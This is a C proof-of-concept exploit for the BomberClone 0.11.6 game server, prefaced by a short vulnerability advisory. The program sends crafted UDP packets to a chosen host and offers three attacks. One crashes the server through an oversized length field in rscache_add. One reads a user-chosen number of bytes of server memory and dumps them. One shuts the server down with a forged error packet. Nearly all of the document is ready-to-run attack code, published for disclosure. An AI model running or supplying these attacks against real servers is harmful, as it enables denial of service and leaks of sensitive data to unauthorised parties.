// source: https://www.securityfocus.com/bid/19255/info
Bomberclone is prone to remote information-disclosure and denial-of-service vulnerabilities because it fails to properly sanitize user-supplied input.
These issues allow remote attackers to access sensitive information and to crash the application, denying further service to legitimate users.
Version 0.11.6 is reported vulnerable; other versions may also be affected.
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include "show_dump.h"
#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"
    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #define ONESEC  1
#endif
#define VER             "0.1"
#define PORT            11000
#define BUFFSZ          0xffff
#define LEN_VERSION     20
#define LEN_GAMENAME    32
void show_bomberclone_info(u_char *p);
int put08(u_char *data, int num);
int get08(u_char *data, int *num);
int put16(u_char *data, int num);
int get16(u_char *data, int *num);
int put32(u_char *data, int num);
int get32(u_char *data, int *num);
#define putsx(data, src, len)   len; strncpy(data - len, src, len);
void delimit(u_char *data);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err);
int timeout(int sock, int secs);
u_int resolv(char *host);
void std_err(void);
struct  sockaddr_in peer;
enum _network_data {
    PKG_error = 0,
    PKG_gameinfo,
    PKG_joingame,   // every packet below here will checked 
                    // if it comes from a orginal player
    PKG_contest,    
    PKG_playerid,   
    PKG_servermode,
    PKG_pingreq,
    PKG_pingack,
    PKG_getfield,
    PKG_getplayerdata,
    PKG_teamdata,
    PKG_fieldline,
    PKG_pkgack,
    PKG_mapinfo,
    PKG_tunneldata,
    PKG_updateinfo, 
    PKG_field,          // forward - always be the first field
    PKG_playerdata,     // forward
    PKG_bombdata,       // forward
    PKG_playerstatus,   // forward
    PKG_playermove,     // forward
    PKG_chat,           // forward
    PKG_ill,            // forward
    PKG_special,        // forward
    PKG_dropitem,       // forward
    PKG_respawn,        // forward
    PKG_quit            // forward - always the last known type forwarded type
};
enum _pkgflags {
    PKGF_ackreq = 1,
    PKGF_ipv6 = 2
};
int main(int argc, char *argv[]) {
    int     sd,
            attack,
            len,
            pcksz;
    u_short port  = PORT;
    u_char  *buff,
            *p,
            *t;
#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
    setbuf(stdout, NULL);
    fputs("\n"
        "BomberClone <= 0.11.6 bugs "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);
    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%hu)]\n"
            "\n"
            "Attacks:\n"
            " 1 = memcpy crash in rscache_add\n"
            " 2 = information disclosure in send_pkg\n"
            " 3 = simple error message termination\n"
            "\n", argv[0], port);
        exit(1);
    }
    attack = atoi(argv[1]);
    if(argc > 3) port = atoi(argv[3]);
    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;
    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
    buff = malloc(BUFFSZ);
    if(!buff) std_err();
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    p = buff;
    p += put08(p, PKG_gameinfo);        // typ
    p += put08(p, 0);                   // flags
    p += put16(p, 0);                   // id
    t = p;  p += 2;                     // len
    p += put32(p, 0);                   // timestamp
    p += put16(p, 0);                   // ??? unknown
    p += put08(p, 0);                   // curplayers
    p += put08(p, 0);                   // maxplayers
    p += putsx(p, "", LEN_GAMENAME);    // gamename
    p += putsx(p, "", LEN_VERSION);     // version
    p += put08(p, 0);                   // broadcast
    p += put08(p, -1);                  // password
    put16(t, (p - t) - 2);
    len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 1);
    close(sd);
    show_bomberclone_info(buff);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    if(attack == 1) {
        p = buff;
        p += put08(p, PKG_gameinfo);
        p += put08(p, PKGF_ackreq);     // required!
        p += put16(p, 0);
        p += put16(p, 0xffff);          // bug
        p += put32(p, 0);
        p += put16(p, 0);
        p += put08(p, 0);
        p += put08(p, 0);
        p += putsx(p, "", LEN_GAMENAME);
        p += putsx(p, "", LEN_VERSION);
        p += put08(p, 0);
        p += put08(p, -1);
        printf("- send malformed packet\n");
        len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0);
    } else if(attack == 2) {
        printf(
            "- insert the amount of bytes you want to read from the server's memory,\n"
            "  try with 3000 or 3500:\n"
            "  ");
        fflush(stdin);
        fgets(buff, BUFFSZ, stdin);
        pcksz = atoi(buff);
        p = buff;
        p += put08(p, PKG_gameinfo);
        p += put08(p, 0);
        p += put16(p, 0);
        p += put16(p, pcksz);           // how many memory you want to see?
        p += put32(p, 0);
        p += put16(p, 0);
        p += put08(p, 0);
        p += put08(p, 0);
        p += putsx(p, "", LEN_GAMENAME);
        p += putsx(p, "", LEN_VERSION);
        p += put08(p, 0);
        p += put08(p, -1);
        printf("- send custom info packet (%d 0x%x bytes)\n", pcksz, pcksz);
        do {
            len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0);
        } while((len > 0) && (buff[0] != PKG_gameinfo));
        if(len > 0) show_dump(buff, len, stdout);
        goto quit;
    } else {
        p = buff;
        p += put08(p, PKG_error);
        p += put08(p, 0);
        p += put16(p, 0);
        t = p;  p += 2;
        p += put08(p, 1);               // nr
        p += putsx(p, "bye bye", 128);  // text
        put16(t, (p - t) - 2);
        printf("- send error packet\n");
        len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0);
    }
    close(sd);
    sleep(ONESEC);
    printf("- check server:\n");
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    p = buff;
    p += put08(p, PKG_gameinfo);
    p += put08(p, 0);
    p += put16(p, 0);
    t = p;  p += 2;
    p += put32(p, 0);
    p += put16(p, 0);
    p += put08(p, 0);
    p += put08(p, 0);
    p += putsx(p, "", LEN_GAMENAME);
    p += putsx(p, "", LEN_VERSION);
    p += put08(p, 0);
    p += put08(p, -1);
    put16(t, (p - t) - 2);
    len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0);
    if(len < 0) {
        printf("\n  Server IS vulnerable!!!\n\n");
    } else {
        printf("\n  Server doesn't seem vulnerable\n\n");
    }
quit:
    close(sd);
    return(0);
}
void show_bomberclone_info(u_char *p) {
    int     curplayers,
            maxplayers;
    u_char  *gamename,
            *version;
    p += 12;
    p += get08(p, &curplayers);
    p += get08(p, &maxplayers);
    gamename = p;
    version  = p + LEN_GAMENAME;
    printf("\n"
        "  server:    %.*s\n"
        "  version:   %.*s\n"
        "  players:   %d/%d\n"
        "\n",
        LEN_GAMENAME,   gamename,
        LEN_VERSION,    version,
        curplayers,     maxplayers);
}
int put08(u_char *data, int num) {
    data[0] = num;
    return(1);
}
int get08(u_char *data, int *num) {
    if(num) {
        *num = data[0];
    }
    return(1);
}
int put16(u_char *data, int num) {
    data[0] = num;
    data[1] = num >> 8;
    return(2);
}
int get16(u_char *data, int *num) {
    if(num) {
        *num = data[0] | (data[1] << 8);
    }
    return(2);
}
int put32(u_char *data, int num) {
    data[0] = num;
    data[1] = num >> 8;
    data[2] = num >> 16;
    data[3] = num >> 24;
    return(4);
}
int get32(u_char *data, int *num) {
    if(num) {
        *num = data[0] | (data[1] << 8) | (data[2] << 16) | (data[3] << 24);
    }
    return(4);
}
void delimit(u_char *data) {
    while(*data && (*data != '\n') && (*data != '\r')) data++;
    *data = 0;
}
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) {
    int     retry,
            len;
    if(in && !out) {
        if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        return(0);
    } else if(in) {
        for(retry = 3; retry; retry--) {
            if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
              < 0) std_err();
            if(!timeout(sd, 1)) break;
        }
        if(!retry) {
            goto timeout_received;
        }
    } else {
        if(timeout(sd, 3) < 0) {
            goto timeout_received;
        }
    }
    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0) std_err();
    return(len);
timeout_received:
    if(err) {
        printf("\nError: socket timeout, no reply received\n\n");
        exit(1);
    }
    return(-1);
}
int timeout(int sock, int sec) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;
    tout.tv_sec  = sec;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}
u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;
    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)hp->h_addr;
    }
    return(host_ip);
}
#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif